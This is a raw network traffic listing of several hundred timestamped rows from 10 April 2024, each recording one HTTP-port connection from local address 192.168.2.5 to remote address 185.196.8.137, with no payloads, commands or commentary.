Apr 10, 2024 10:24:12.088157892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.088157892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.088202953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.088202953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.088618994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.088618994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.088618994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.088618994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.088700056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.088700056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.088700056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.088795900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.088795900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.088795900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.088795900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.088918924 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.088918924 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.088918924 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.088920116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.088920116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089025974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089087963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089087963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089116096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089171886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089217901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089217901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089302063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089344978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089376926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089376926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089396000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089591026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089591026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089642048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089642048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089677095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089689016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089867115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089867115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089867115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089867115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089905977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.089906931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090043068 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090043068 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090043068 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090043068 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090074062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090092897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090114117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090183973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090183973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090183973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090274096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090274096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090293884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090346098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090346098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090346098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090414047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090414047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090414047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090513945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090513945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090513945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090513945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090620995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090620995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090620995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090621948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090621948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090643883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090738058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090738058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090739012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090739012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090739012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090830088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090830088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090830088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090830088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090908051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090908051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090908051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090908051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.090998888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091000080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091000080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091000080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091000080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091098070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091098070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091098070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091098070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091098070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091188908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091188908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091188908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091188908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091265917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091265917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091267109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091267109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091342926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091342926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091342926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091342926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091434956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091434956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091434956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091434956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091434956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091528893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091528893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091528893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091528893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091528893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091634989 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091635942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091635942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091635942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091635942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091727018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091727018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091727018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091727018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091727018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091814995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091814995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091814995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091814995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091892004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091892004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091892004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091892004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091969013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091969013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091969013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.091969013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092031956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092031956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092031956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092031956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092108965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092108965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092108965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092173100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092173100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092173100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092206001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092206001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092240095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092240095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092278004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092278004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092360020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092360020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092360020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092360020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092437029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092437029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092437029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092437029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092530012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092530012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092530012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.092530012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093280077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093280077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093280077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093280077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093280077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093379974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093379974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093379974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093379974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093379974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093477011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093477011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093477011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093477011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093477011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093576908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093576908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093576908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093576908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093576908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093677998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093677998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093677998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093677998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093677998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093771935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093771935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093772888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093772888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093772888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093874931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093874931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093874931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093874931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093874931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093974113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093974113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093974113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093974113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.093974113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094074011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094074011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094074011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094074011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094074011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094173908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094173908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094173908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094173908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094173908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094276905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094276905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094276905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094276905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094276905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094366074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094366074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094366074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094366074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094366074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094450951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094450951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094450951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094450951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094527006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094527006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094527006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094527006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094602108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094602108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094602108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094602108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094687939 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094687939 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094687939 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094687939 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094789982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094789982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094789982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094789982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094789982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094883919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094883919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094883919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094883919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094883919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094980001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094980001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094980001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094980001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.094980001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095062017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095062017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095062017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095062017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095159054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095159054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095159054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095159054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095159054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095262051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095262051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095262051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095262051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095262051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095356941 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095356941 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095356941 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095356941 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095356941 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095446110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095446110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095446110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095446110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095521927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095521927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095521927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095521927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095597982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095597982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095597982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095597982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095681906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095681906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095681906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095681906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095762014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095762014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095762014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095762014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095839024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095839977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095839977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095839977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095915079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095915079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095915079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095915079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095990896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095990896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095990896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.095990896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096069098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096069098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096069098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096069098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096143007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096143007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096143007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096143007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096206903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096206903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096206903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096241951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096241951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096296072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096296072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096374035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096374035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096374035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096374035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096453905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096453905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096453905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.096453905 CEST	49718	80	192.168.2.5	185.196.8.137
